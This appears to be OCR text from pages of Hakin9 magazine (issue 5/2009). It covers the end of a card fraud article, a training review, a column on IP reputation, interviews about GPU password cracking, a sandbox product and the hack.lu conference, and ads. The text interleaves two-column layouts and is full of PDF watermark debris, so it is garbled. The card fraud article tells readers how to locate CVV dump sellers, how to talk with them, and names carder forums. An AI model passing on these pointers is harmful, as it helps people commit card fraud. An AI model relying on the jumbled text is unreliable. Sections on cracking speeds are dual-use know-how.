card information as dumps. A dump file at all) on a receipt. The only solution here
contains all the data that is stored on your is for employers to keep an eagle eye on Look and i.e. Shall Find
credit card's magnetic strip. their staff. Search Google using some simple
keywords ie. CVV card dumping and
this will show up a whole list of the
latest CVV dump opportunities. Below
is a snap shot of what you might find
(we've removed some data such as the
website forum domain) Be aware it is not
an easy task to purchase any of these
dumps as the mules are very careful
indeed when it comes to selling – the
main reason being trust – they don't
know you, so they could be chatting
to a Police Officer.... you also need to
understand their language – by this we
mean the text speak. If you don't, then
they will see through you and you'll find
the conversation has ceased!
Here are two snapshots of a credit
card summary dump from one forum
posted June 09 (see Listing 1).
It's not too difficult to see what is on
Figure 2. Keypad Credit Card example offer, which country is being targeted

68 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
CVV DUMPING
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

and the monetary values concerned Unit (PIPJIU) which was as a result of an use Online Banking using chip and PIN
associated with each card. The English amalgamation of the Fraud Intelligence technology. The device changes the way
and grammar isn't good, so this Bureau (FIB) and the intelligence you log in and make certain payments. In
suggests possibly that the mule might section of the Dedicated Check and all instances the customer will need the
not be English speaking. Either way you Plastic Crime Unit (DCPCU). The core hand-held card reader together with bank
now get a clear idea as to just how much areas of responsibility for the PIPJIU is debit or authorized card to authenticate
card fraud is going on, especially when providing more efficient approaches to the individuals identity when setting up
you see the packages on offer (see the collation and dissemination of fraud payments to someone new. By doing
Listing 2). intelligence to provide police forces this, Barclays are protecting customers
and being able to address all types of accounts from potential hijacking and
What do You Notice With banking fraud, not just check and plastic identity fraud (see Figure 3).
Snapshot 2? card fraud. As you can see from the two
The carder is providing more detailed user The UK also has the DCPCU examples, Banks are moving in the
data, including Date of Birth (DOB) along (mentioned above) which is fully token and card reader direction,
with Magnetic Stripe Readers and Card sponsored by the banking industry. The meaning that customers have to carry
Writer, which would allow you to quickly unit is staffed by Metropolitan and City of a device with them everywhere they go
setup a cost effective carding operation. London Police forces as well as banking to perform online or CNP transactions.
Closer inspection and you will notice experts. The unit focuses on serious These methods can be affective but
there are also two Paypal username and and organized check and plastic crime some consumers may find them an
password accounts with $70 and $30 and works with other law enforcement inconvenience to use. Some banks
credit available, although the $30 account agencies across the UK and overseas. are providing a call back service on
is unverified. For those that want free Another UK initiative involves the retail payments and deposits – a phone
phone calls they are even offering Skype industry. CardWatch is running retailer number of your choice is provided and
credits too! In these hard times, there training programmes on behalf of the the bank will call you to confirm payment
is money to be made and people will banking industry to assist point-of-sale or the deposit.
purchase this fraudulent data. To see how staff identify and prevent card fraud.
in demand this card data is, refer to the Additionally retailers are investing in more Lasting Thoughts
last section Lasting thoughts. intelligent fraud detection systems which Earlier this year there was evidence to
identify unusual user behavioral patterns suggest that fraudsters are actively and
What is the on spending ie. Time, frequency, payment publicly spreading information (and
Banking Industry Doing to location not just here in the UK, but also mis-information) about other fraudster
Stop Card Crime? internationally as well. activities. A spammer (origin not known
In the UK, the banking industry is Examples of where banks are looking or provided to the public domain) was
engaged in an ongoing tough battle at ways to reduce credit card fraud: using an existing spam botnet to send
to combat card fraud. Some of these Earlier this year (2009) Visa introduced messages about the Russian credit card
include the creation of the Payment a new type of credit card in an attempt trading (carder website) http://carder.su
Industry and Police Joint Intelligence to combat consumer identity fraud. The Take a look, but be careful, because
Visa card, which is still being trialled, you don't know whether there are any
has unique features that are specifically malicious programs at work – other
designed to combat identity fraud. The than the obvious card dumps on offer!
card looks exactly like a normal credit Carder.su is a very popular website as at
card and is powered by a battery that will its maximum recently it had over 14,000
last three years. Some people are calling members logged in at the same time. If
these cards Keypad credit cards (see you want to take a look at another carder
Figure 2). website why not take a look at http:
The card has an LCD (Liquid Crystal //cardingworld.lefora.com/headlines/
Display) and 12-button keypad that can Will the banking and law enforcement
be used by the cardholder to input a PIN agencies ever win the fight against
number every time an online purchase is banking and credit card fraud? Only you
made. can decide that.
Another bank leading the way in the
fight against card fraud is Barclays.. They
offer a simple device called PINsentry.
The PINsentry device for consumers Julian Evans
Identity Fraud and Information Security Expert – ID Theft
Figure 3. Barclays PINsentry is a new way to help their customers Protect.

5/2009 HAKIN9 69
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
TRAINING REVIEWW

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

VTE Training
JAMES BROAD

A challenge for most security professionals and those aspiring to work in the security
field is getting the training and skills to meet the challenges of today’s interconnected
networks. Finding the training can be a frustrating adventure that often results in
spending thousands of dollars on training that covers a single technology.

T
o help readers meet this challenge and the lack thereof as they explain Cisco Pods that support students that
we will set out each issue to find and demonstrate various topics. The can request time on the Pods through
the best training available. We meet interface itself is rich and interactive a simple booking and scheduling
this challenge with a review of the Virtual using Flash, Java and ActiveX to deliver application. The full interview with James
Training Environment (VTE) developed content. can be found at www.cyber-recon.com.
and maintained by Carnegie Mellon Where the VTE shines is its use of After logging in to the environment you
University’s Software Engineering Institute virtualized environments to drive home will be greeted by a menu that details the
(SEI). Many may note that this is the the main points of the lesson. Unlike courses you are eligible to take. Selecting
institute that developed the first computer other training programs that offer a a course opens up a screen that detail
emergency response team (CERT). canned environment where the student the classes that need to be completed
To be fair I must start this article with the can only select the correct items, the VTE to successfully pass the course, shows
fact that much of the content of the VTE is virtualized environment looks and feels a partial listing of the classes needed
restricted to employees and contractors of like real computers and network devices to complete the Information Assurance
U.S. Government. Some content, however, – because it is. In the VTE a student Practitioner course. Icons indicate the
is available to any user with an Internet can follow the lesson plan and correctly type of instruction provided by the
connection. Full details on eligibility can be complete the exercises or, like with real accompanying link. Each opens the
found at http://www.sei.cmu.edu/products/ systems, the student can make a mistake content you would expect while the lab
courses/v01.html. that will lead them the wrong direction includes both a link to the virtualized
The first question many may ask or crash the machine. In all cases the training environment as well as a
is what sets VTE training apart from student learns the topic much better using Adobe lab manual that explains the lab,
the training that numerous online these virtualized machines. including the environment.
training sites provide on the World I had the opportunity to talk with While the full program is only
Wide Web (WWW)? The features of VTE James Wrubel, Manager of the VTE available to Department of Defense,
are what set it apart from other online and he explained the inner workings Federal employees and members of law
training venues. Features including of the environment. Back end of the enforcement, over 200 hours of training
video lectures, demonstrations and virtualization uses VMware’s ESX are available without registering. However,
tests are becoming more common servers and a custom built application if you are eligible this may be the best
on training sites that are offering rich programming interface that provisions $450 you may spend on your career as
content as more homes connect the lab environments based on the this will cover an annual subscription. If
to the Internet through high speed demands of the students. The system you want to learn security hands on the
broadband connections. The VTE site also provides linear expansion by actual equipment, while virtualized, is an
has these as well, with video lectures adding resources if needed. The video experience that can’t be beat, and the
and demonstrations featuring some content of the environment is hosted by instruction provided by these instructors is
of the brightest minds in computer Akamai's Content Delivery Network which second to none.
security; Carnegie Mellon Instructors includes over 2,000 streaming video
and Professors detail how networks and servers around the globe. Cisco training
computers are impacted by security includes hands on training is one of eight

70 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
EMERGING THREATS
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

It's All About


Reputation
MATTHEW JONKMAN

I have a reputation. Mostly good I hope, but I have one. You have one. Probably good
as well. If it's not good you probably know why, and whatever it was you did was
probably worth it. Reputation is a very important concept. It allows us as humans to
make decisions about many things.

W
e decide whether to trust a of information. For example, if your father with reputation in mind. Sometimes
person, to do business with them, (assuming you trust your father) tells you reputation has a slight influence, more
to date them, or even just to be about a bad experience at a store and often the entire decision is based on
seen with them based on reputation. Just you know your father is a reasonable reputation. The system seems to work as
being associated with a person affects person then your internal reputation about long as your sources of information to
your reputation in the direction of theirs. that store is going to be adversely affected build those reputations are accurate.
Businesses have reputations. Cities have significantly. If you hear the same story So why don't we do this in the technical
them. Countries, governments, you name it. from a crackpot in line at the store you're security world? Take IP addresses as an
This is all obvious of course, but it's worth probably not going to think as badly of the example. We know incredible amounts of
stepping back to really consider what store assuming much of the story could data about every IP address on the planet.
reputation is and how much we rely on it. be embellished or that the person was We have spam blackhole databases, top
Dictionary.com defines reputation as unreasonable in their expectations of the attacker lists, lists of known command and
the estimation in which a person or thing store. control servers, …. We have databases
is held, especially by the community or the We also are affected by advertising in many security companies that have a
public generally. A good definition I think when we consider the reputation of great deal of both negative and positive
which applies to our discussion. There is businesses and products. Consider a information about a great number of IPs.
an estimation of what you as an individual new product that hits the market. A new Why don't we use this information on our
think about another entity that you manage cereal. We know nothing about it. How network perimeters and on our Internet
sub-consciously. You decide whether they're do we decide whether to try it? We can facing services to decide whom to talk
good or bad, friendly, trustworthy, eco- look at the packaging, if it's bright and to, whom to watch, and whom to outright
friendly, whatever is important to you. We appealing we may think positively of the block?
keep a concept of what we think of each cereal. If we've seen a few advertisements I'll tell you why. Two major reasons.
entity in the categories we care about. This on television with attractive people happily We can't do the lookups fast enough on
is important, there are many aspects of chomping the cereal while they watch a large network stream, and we haven't
reputation. I could consider a person very the sunrise over a mountain we could be figured out how to truly use and share
unpleasant to be around but still trust them swayed a bit. A friend or family member reputation data. Neither of these problems
and do business with them. Reputation is may have tried the cereal and told us they are really technical problems. We have
not just good or bad, it's very complex. enjoyed it. Of those sources of information ways to do massive numbers of lookups
Building a reputation is also a very the direct experience being related to us very quickly, and we have the statistical
complex activity. We're doing this all the is by far the most useful bit of information, science available to build and share
time, every exposure we have to an entity. especially if your taste coincides with that reputation data. These are not insignificant
Every piece of information we hear adds of the person relating the experience. technical challenges, and we'll talk about
to the reputation we maintain. How much So you're wondering where I'm going them more shortly. But the reason we
information affects reputation depends on here. I'll tell ya. As humans we make most haven't seen this in the real world is
how much we trust and value the source important decisions about other entities because we haven't demanded it of our

72 HAKIN9 5/2009
v
C h a n g e Vi h a n g e Vi
XC

3 easy ways to subscribe:


PD
F -X e w F-
e w

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
1. Telephone
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

vendors, and they haven't seen the value


Order by phone, just call:
in implementing. 1-917-338-3631
That's got to change, and it's going
to. We have a project that I'm honored to 2. Online
lead called the Open Information Security Order via credit card just visit:
Foundation. We have been funded by the
US Department of Homeland Security to
www.hakin9.org/en
build such a thing. We are building the 3. Post or e-mail
next generation of IDS and it is completely
open-source. One of the major new
subscription_support@hakin9.org
technologies we are implementing in this
new engine is IP Reputation. How we're
going to use this information is going to Hakin9 ORDER FORM
be many-fold.
There are many IDS signatures in □Yes, I’d like to subscribe to Hakin9 magazine
existing rulesets (my own included) that from issue □ □ □ □ □ □
very precisely describe hostile activity. 1 2 3 4 5 6
Unfortunately the same thing can happen Order information
in real traffic, rarely sometimes but it does. (□ individual user/ □ company)
So imagine if we can take a hit on that Title
same rule but if the reputation of the host Name and surname
involved is extremely good. Someone address
we trust implicitly. Well then lets add a
statement to that rule that says generate
postcode
an alert and block this stream unless the
tel no.
remote host's reputation is very good. Or
conversely for a rule that false positives email
more often we can say generate an Date
alert and block only if the remote host's
reputation is very bad. We can do a lot of Company name
good in eliminating false blocks and false Tax Identification Number
positives. Office position
So you're thinking now what if I have
Client’s ID*
a rule that fires only on a bad reputation
Signed**
remote host, but the host that attacks me
is newly bad and doesn't yet have a bad
reputation. Very good point, I'm glad you
bring it up. We have to have a very reliable Payment details:
source of reputation data. And we have to □ USA $49 □ Europe 39€ □ World $49
be able to feed that back to the systems I understand that I will receive 6 issues over the next 12 months.
collecting this data in order to improve that Credit card:
data. So in this case we'd not generate □ Master Card □ Visa □ JCB □ POLCARD □ DINERS CLUB
an alert but maybe we could have the Card no. □□□□ □□□□ □□□□ □□□□ □□□□
sensor feed back a possible bad hit on Expiry date □□□□ □□ Issue number
the remote IP with a good reputation. If □□□
Security number
enough sensors start reporting that host □ I pay by transfer: Nordea Bank
as possible bad then it's reputation will IBAN: PL 49144012990000000005233698
decrease, possibly to the point where the SWIFT: NDEAPLP2
rule in question would generate an alert. Cheque:
This is just one simple way we can use
IP Reputation. Stay tuned to the project to □ I enclose a cheque for $ ____________________
see how this comes out! Http://www.ope (made payable to Software Press Sp. z o.o. SK)

ninfosecfoundation.org. As always please Signed


send me your thoughts, jonkman@emergi
ngthreats.net . Terms and conditions:
Your subscription will start with the next available issue. You will
receive 6 issues a year. 5/2009 HAKIN9 73
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
INTERVIEW !

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Interview with
Andrey Belenko

Company Andrey Belenko independently of others. However, we had


Established in 1990, ElcomSoft Co. Ltd Andrey is a security researcher and to tweak our algorithms a little bit to make
is a privately owned software company software engineer at ElcomSoft them run more efficiently on GPU.
headquartered in Moscow, Russia, (www.elcomsoft.com), a password recovery
specializing in Windows productivity and utility company. He is involved in analysis of real- What graphic cards and or models you
applications for businesses and end users. world security systems. Area of his research have found to work best?
ElcomSoft's award-winning password interest includes practical cryptography, There’s no single winner here. High-end cards
file protection retrieval software uses high-performance and distributed such as NVIDIA GTX 285 or GTX 295 are very
powerful algorithms, which are constantly computing (including that on GPUs and fast but maybe too expensive. Simpler cards
under development. This means that special hardware). like GTX 260 or GTX 275 are little slower
the enormous permutations involved in and cheaper. ATI cards currently provide
retrieving a password from a protected How did you realize that GPU password highest performance/price ratio, significantly
file allows businesses and end users to recovery would best fit your business better than those of NVIDIA cards, but they
continue using their valuable data. model then other password recovery lack stable development tools and thus
ElcomSoft produces password methods? their support in existing software is limited.
retrieval products for: Password recovery was always a very Best way to compare is to have a look at
compute-intensive and time-consuming performance charts for various algorithms:
• Microsoft Office suite, e.g., Word, Excel, task. It was traditionally addressed by
Outlook, Schedule+, etc; using distributed computing, so that many • MD5, NTLM and LM – http://
• archiving products using ZIP, RAR, ACE, computers worked on recovering the www.elcomsoft.com/images/gpu.gif
and ARJ file formats; same password. However, it was not very • Office 2007 – http://
• Corel WordPerfect Office, e.g., convenient to set up and manage large www.elcomsoft.com/images/gpu2.gif
WordPerfect, QuattroPro, Paradox; networks of computers, so when NVIDIA • WPA-PSK – http://elcomsoft.com/
WordPerfect Lightning; came with an idea to enable use of their images/ewsa.png
• Lotus SmartSuite suite, e.g. Organizer, graphic cards for general computations
WordPro, 1-2-3 and Approach; we decided to give it a try. What separates you from free
• Adobe Acrobat PDF files, and many software like Cain and Abel utilizing
more. Did you have any hurdles or GPU processing for breaking wireless
bottlenecks trying enable GPU encryption?
ElcomSoft is a Microsoft Certified Partner, processing with your software? Cain & Abel is a great all-in-one tool
a member of the Intel Software Partner Not really. When moving from CPU to with many useful features. But when it
Program, NVIDIA Registered Developer, ATI GPU most problems are related to comes to password cracking it isn’t the
Developer, Russian Cryptology Association synchronization and parallelization. best alternative: it doesn’t support GPU,
(RCA), Computer Security Institute, and Password recovery represents a type of it doesn’t support multi-core CPUs, and
a lifetime member of the Association of workload which is very easy to run in parallel neither does its code seem to be well
Shareware Professionals (ASP). because every password can be processed optimized. Of course, there are other

74 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
INTERVIEW WITH ANDREY BELENKO
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

tools which can utilize GPUs for password We’re mostly doing password recovery, That’s a good question. I think lots of everyday
cracking, both free and paid. Most, if not but security is much wider than that. items can be abused, but their good use far
all, such tools are merely proof-of-concept GPUs represent massive and relatively outweighs possible evil uses. Same holds for
and can hardly be used for everyday work. cheap processing power and they have our software: although it can be used to do
We currently provide GPU-enabled great potential. I’m not sure where but I’m bad things like gaining unauthorized access.
password recovery solutions for wide range sure we will see more security-related We try to ensure that those who buy our
of applications, much wider than that of any applications utilizing GPU in the future. software are legitimate owners of systems or
competing software. You can also run it on Today researchers use GPUs in many data they’re trying to get access to.
a network of GPU-enabled computers to areas, including compute-intensive fields
achieve even better performance. We also such as cryptanalysis and number theory, Do you know how much time it
provide support to our customers, which turn and as GPUs become faster and cheaper would take to crack an 8 character
out to be very important, especially in the their usage will become even wider. alphanumeric password with a GPU,
new and specific field of GPU computing. compared to CPU?
How do you feel about the possibility It depends. Such password for Windows
How do you envision security and GPU users may abuse the software you can be recovered in about a day on a single
computing in the future? have created? PC with a decent graphic card. The same
password for something stronger, like WPA
or PGP, is very difficult to recover – it’ll take
more than 50 years on a single dedicated
PC, assuming that password is random. This
assumption is often wrong, and a password
sometimes can be recovered much faster
(in hours) by running smart dictionary attack.

As you were the first to come across


this idea, wouldn’t you like to patent the
technology of implementing graphic
chips for password recovery?
This is surely a revolutionary technology in
password recovery and yes, we applied for a
patent, however getting it is another question,
at least its consideration should take some
time. Meanwhile, we registered our Thunder
Tables – the technology which uses pre-
computed hash tables for PDF and Microsoft
Word files protected with 40-bit encryption,
which now became totally obsolete, because
Thunder Tables open files literally instantly.

So, what would you recommend to


get the maximum of today’s computer
potential for password recovery?
Using graphic cards’ power for brute-forcing
is definitely a great advantage and our
program allows that. What’s more, you can
also use more than one compatible graphic
card you have in your computer, as we added
support of multiple GPUs for even faster
password audit/recovery. Currently GPU
acceleration is available for Office 2007 files
(Word 2007, Excel 2007, PowerPoint 2007
and Project 2007), Adobe PDF 9, WPA/WPA2,
Windows logon passwords (LM and NTLM)
and MD5 hashes, but we are working on
adding other algorithms.

5/2009 HAKIN9 75
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
INTERVIEW !

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

DefenseWall
Pure Policy-Based
Sandbox Application
Ilya Rabinovich is the owner of SoftSphere Technologies. He is a self-taught
programmer – his original degree is Engineer-Nuclear Physicist. Ilya developed
DefenseWall because he saw the real need for a pure policy-based, with untrusted
attribute inheritance, sandbox application. His project was, and is, the first one in the
world!

Could you tell our readers about processes separation and rights by patching, without rewriting the whole
Softsphere? What is your most restriction for untrusted processes. Before project from scratch.
interesting and relevant project? What I implemented DefenseWall, as far as I
is your main mission? know, there was no pure policy-based Please describe the most difficult task/
Hi everybody! I am Ilya Rabinovich, the guy sandbox application with untrusted decisions you had to take during the
behind SoftSphere Technologies. I founded attribute inheritance in the world... development.
the company when I made up my mind DefenseWall is the first! The most difficult task I encountered is to
to go on my own and develop security Defense itself is total driver-level...no make the initial project architecture right
software. The first software project, Total application-mode hooks are used as with the first version. The next task was
Text Security (text encryption/description malicious software can bypass it. In four undocumented internal Windows LPC data
program) didn't get much response. years alone, I was able to implement packets hacking – it was a real challenge.
My second project, DefencePlus (buffer near 100% protection (proved by
overflow protection without resource hog) AVComparatives.org tests) against viruses How does your product compare to
was somewhat more successful, but I and malicious software with minimum McAfee HBSS?
wouldn't call it a huge success. Very soon user intervention and iteration and there is Not comparable – as far as I can tell,
after I started that project (DPlus), AMD and still a lot of room for further innovation. McAfee HIPS is based on an outdated
Intel started to produce CPUs with NX/XD My mission with DefenseWall has, classic scheme, with a lot of user or
(non-executable) bit onboard, which allows from the beginning, been to create 100% IT staff interaction being necessary. I
to mark certain memory pages as not for anti-virus and anti-malware protection really doubt it is a real competitor (from
execution. This, more or less, eliminated the with nil or very minimal user interaction. a technical point of view, naturally) for
need for my DefensePlus. Currently, DefenseWall can prevent DefenseWall, with its innovative policy-
My third project, DefenseWall HIPS, has protected computers against malicious based sandbox protection, requiring
been well-received and is very successful software and virus infections, malicious key minimal or even zero interaction.
because it fills a real need in the market. logging, passwords theft and sensitive data
Originally, it was engineered as a strong hijacking. Outbound traffic control protection Many vendors of security software
but simple-to-use protection against is in development and on the way. have been victims of buffer overflows
malicious software and viruses, with no In conclusion, a little advice for etc. Please describe, if you are allowed,
need for constant updates like an antivirus. software engineers. In development your methodology for ensuring your
In simple terms, I have chosen to process, your code can be changed product.
develop a policy-based sandboxing dramatically, but if the initial design is right, First of all, untrusted processes are not
architecture with trusted and untrusted you can improve your product simply, allowed to send control messages into the

76 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
INTERVIEW WITH ILYA RABINOVICH
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

driver. This dramatically reduces the attack decisions only partially, do not require famous system of this is RFID. But how
surface. And the second important thing technical knowledge and can be operated do you think that this system can be
here – check your buffer's size before by people of all ages and children too. protected from hackers and thefts of
putting any data into it. information?
Do you think that these program types Yes, they can be protected and yes, they
How does HIPS help or help in the will tend to merge together in the future can be hacked. In fact, everything in the
future against client-side attacks? and perhaps also become more user world made by man can be understood
It is very essential. If a HIPS system friendly? and be hacked by others...if it will be
is designed the right way and set up Internet Security Suites of the future profitable, of course.
properly, it can protect its users against will integrate all the possible protection
100% of possible attacks, including data techniques all together. By using innovative Is it easy for people to preserve their
and passwords hijack. This isn't a need or techniques and white-listing, they can be privacy to others?
situation we see developing in future, it is very user-friendly and strong. But, naturally, No, because in-the-cloud services privacy
the reality right here and right now today. much will depend on the software depends not on the users, but on the
architects. service and its staff. Also, most people are
It is said that HIPS adds a new dynamic not technical and knowledgeable enough
in threat analysis. How do you envision Do you think the average user to really understand the risks and to know
the utilization of HIPS to expand threat understands the benefit to be gained how to keep their own private information
analysis from just the edge devices but from using the DefenseWall system? safe.
all the way to the clients? Yes, he/she can because I designed
Yes, HIPS systems can be used as threat DefenseWall, first and foremost, to be easy Where do you see IT security going in
analysis tools. But, it can't be considered to use for the average-level computer user. the future?
as a professional research tool, as it sets The trend is obvious – security is
some restrictions that affects the process. Many of the DefenseWall's users integrating. I mean, currently, you need a
It can be useful as a first-round analysis are very average ones. How will you signature scanner to catch already known
tool, but no more. communicate the potential benefits to malware, firewall to prevent malware from
the average user? calling home, spam filter, blacklisting-
What do you think of the DOD8570.1-M? Simple – near 100% defense with style behavior blocker to catch malware
It is common paper for big companies; minimum user's interaction. No popup by behavior, file reputation services
not really useful for a small or medium windows, no misses. Hundreds of (white listing, for instance) to distinguish
business because of lack of resources. thousands of users are in a situation known-as-good from all the others and a
But I have to mention here, that without where their PCs are controlled remotely by sandbox to keep all the malware coming
the use of proper security tools, all bot networks. through the previous defense levels from
the administrative level policies and doing harm. Also, there is one more
guidances are useless. How would DefenseWall help prevent this? obvious trend for security software – all
If the botnet's software agent has come with the signatures are migrating to the cloud
Do you think the average user is an untrusted source, it just can't infect the services of the anti-virus companies. It is
able to manage using an anti-virus system. You can visually control the number not only about regular code scanners, but
program, an anti-spyware program, a of untrusted processes with DefenseWall's also blacklisting-based behavior blockers.
firewall, and now also a host intrusion tray icon and, if something goes wrong,
prevention type program? stop the attack immediately by terminating What are your future plans?
As for all the black-listing types of protective malicious processes...anyways, it’s untrusted Simplify interaction with the users and
software (anti-virus, anti-spyware, or expert and can’t harm the system. With the future bring innovations into the personal firewall
behaviour blockers which are HIPS also), Personal Firewall version, botnet agents market. With Version 3 of DefenseWall,
they are quite simple to be operated by will not be able to communicate with the presently under development, I'm
an average user as they do not rely on Internet, thus, will be totally harmless. implementing a Personal Firewall fork
user's decisions, but on the signatures with both Inbound and Outbound Control
and heuristics and can work totally Nowadays, many people say that features. Also, DefenseWall's function will
automatically. As for firewalls and classical in future people will be like moving be hardened against unwanted computer
HIPS systems – they very much rely on the databases and we'll be able to take a reboot requests.
user's decision and, if one can't understand bracelet thanks to which they recognize
what is going on (because those questions our data at airports, or VIP people Thanks for the interview and good luck!
are highly technically), that user will might be easily found by GPS thanks to
be infected and/or loose private data. a special gadget they take with them Thank you for the opportunity to discuss
Sandboxes (sandbox HIPS) rely on user's in case they're kidnapped. The most my product, Eve.

5/2009 HAKIN9 77
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
INTERVIEW !

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Interview with
Alexandre Dulaunoy
& Fred Arbogast
CSRRT-LU, Computer Security Research and
Response Team Luxembourg, is organizing
for the fifth year its annual hack.lu computer
security conference in Luxembourg. As every
year speakers from all over the world will
talk about the newest threats, techniques
and researches done in both the hacking
communities and the academic world.

T
he conference will fill three days For people who are not familiar with of different topics ranging from easy to
with talks and different kinds of your group, can you tell us a little bit very technical. The aim is to bring people
workshops. International visitors about the HACK.LU? together and exchange their experiences
will try to make connections with different Hack.lu is orgnaized by CSRRT-LU team, and knowledge.
speakers and others and discuss the which is a small group of people dealing
problems in the security world and with IT security and the broad range of How many companies are presenting
exchange their knowledge amongst each related topics. at the conference?
other. There are normally no companies
How did HACK.LU start and how has it presenting at this conference as hack.lu
Could you tell our readers what evolved to where it is today? is aimed at the technical aspects and
is HACK.LU about? What is your Hack.lu started as a try to have a non- speakers may be a part of a company
mission? commercial but technical IT security but they present their research mostly
Hack.lu is a yearly IT security conference conference in Luxembourg. The first company independent.
being held in Luxembourg (Europe). The year hack.lu was held around 70-80
conference is a technical conference people were visiting and checking the Who will be speaking at the HACK.LU
where we try to minimize the commercial conference. Last year we had close to conference?
effect as much as possible to have it to 200 participants and 3 days of talks The round of this year’s speakers hasn’t
nearly zero. about different topics related to IT been decided yet as the CFP is still open
Hack.lu is an open convention/ security. The speakers were coming from and the committee will have to review all
conference where people can discuss all over the world ( for ex. Australia, South the great submissions that it receives. The
about computer security, privacy, America, US etc.). speakers list and the workshop will be
information technology and its cultural/ announced late July (for the workshops)
technical implication on society. The aim Let us know what should attend to the mid of august (for the speakers).
of the convention is to: make a bridge of conference? But be assured that there will be very
the various actors in the computer security The conference is open for everyone and renowned speakers and that there will
world. we try to do our best to have a mixture also be very interesting topics.

78 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
CO-ORGANISERS OF THE YEARLY HACK.LU SECURITY CONFERENCE
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

What kind of criteria do you use to The criteria are defined in the CFP make a choice for the different topics that
select the topics for the conference and then the evaluation committee will will be presented this year.
agenda? evaluate all the different submissions and
You are IT Security experts now. What
security threats should people be the
hack.lu 2009 Conference Info Sheet most aware of?
Background, Concept and Methodology Well people should always know
The initial idea (in the first Edition in 2005) of the hack.lu conference was to close the gap between that Internet is a risky place and that
the computer science academic sector and the computer security professional. depending on what they are doing on
The conference clearly focus on information security while bridging the traditional academic
Internet they should think about protecting
problem solving approach with the non-traditional problem solving often used by the computer
security professionals. As demonstrated by Gregory Conti in the Communications of the ACM
the them selves accordingly.
(Volume 49 Number 6), there are two communities with infrequent interaction:
Where do you see IT security going in
• One community with a more traditional/academic approach to solve problems in information the future?
security,
As long as there will be software, there will
• and another more prone to use unusual path to solve problems.
be threats and vulnerabilities. IT security
The last one is often unlikely to ever appear in peer-reviewed journal as they often use other ways to will always have to put lots of efforts in
disseminate the information. That’s the major concept behind the hack.lu conference, it’s to gather the research and development as there is
two communities at the same place. As both communities used different methods of dissemination, also lots of effort put in research and
the hack.lu conference friendly hosts academic research and the hacking community at the same
development in the offensive part.
time.
The Computer Security Research and Response Team Luxembourg (CSRRT-LU ASBL) is the
non-profit organization organizing and hosting the conference. Backing to the HACK.LU conference,
The hack.lu conference is using a standard call for paper for attracting the academic what are your future plans?
community while in parallel inviting the ”hacking” community to participate in dynamic sessions. We try to keep on going with the yearly
Those dynamic sessions are integrated in the academic presentation like the BarCamp planning of the conference and we have
sessions, Invited guest-talks and lightning talks.
still some margin to grow, in numbers, but
The processes during the conference permit to extend the research discussion made during
we won’t grow that much any more as the
the talks with the dynamic sessions. This permits to foster innovation in research but also in the
hacking community by introducing other concepts. quality will for sure not be the same if the
The main goal of the conference is to explore the work done by the two communities and audience grows any more.
challenge everyone to improve computer security in general.
Thanks for the interview and good luck
at the event!

a d v e r t i s e m e n t

5/2009 HAKIN9 79
h a n g e Vi h a n g e Vi
XC e XC e

EXCLUSIVE&PRO CLUB
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Zero Day Consulting Digital Armaments


ZDC specializes in penetration testing, The corporate goal of Digital Armaments
hacking, and forensics for medium to large is Defense in Information Security. Digi-
organizations. We pride ourselves in pro- tal armaments believes in information sha-
viding comprehensive reporting and miti- ring and is leader in the 0day market. Digi-
gation to assist in meeting the toughest of tal Armaments provides a package of uni-
compliance and regulatory standards. que Intelligence service, including the po-
ssibility to get exclusive access to specific
vulnerabilities.

bcausey@zerodayconsulting.com
www.digitalarmaments.com

Eltima Software First Base Technologies


Eltima Software is a software Development We have provided pragmatic, vendor-neu-
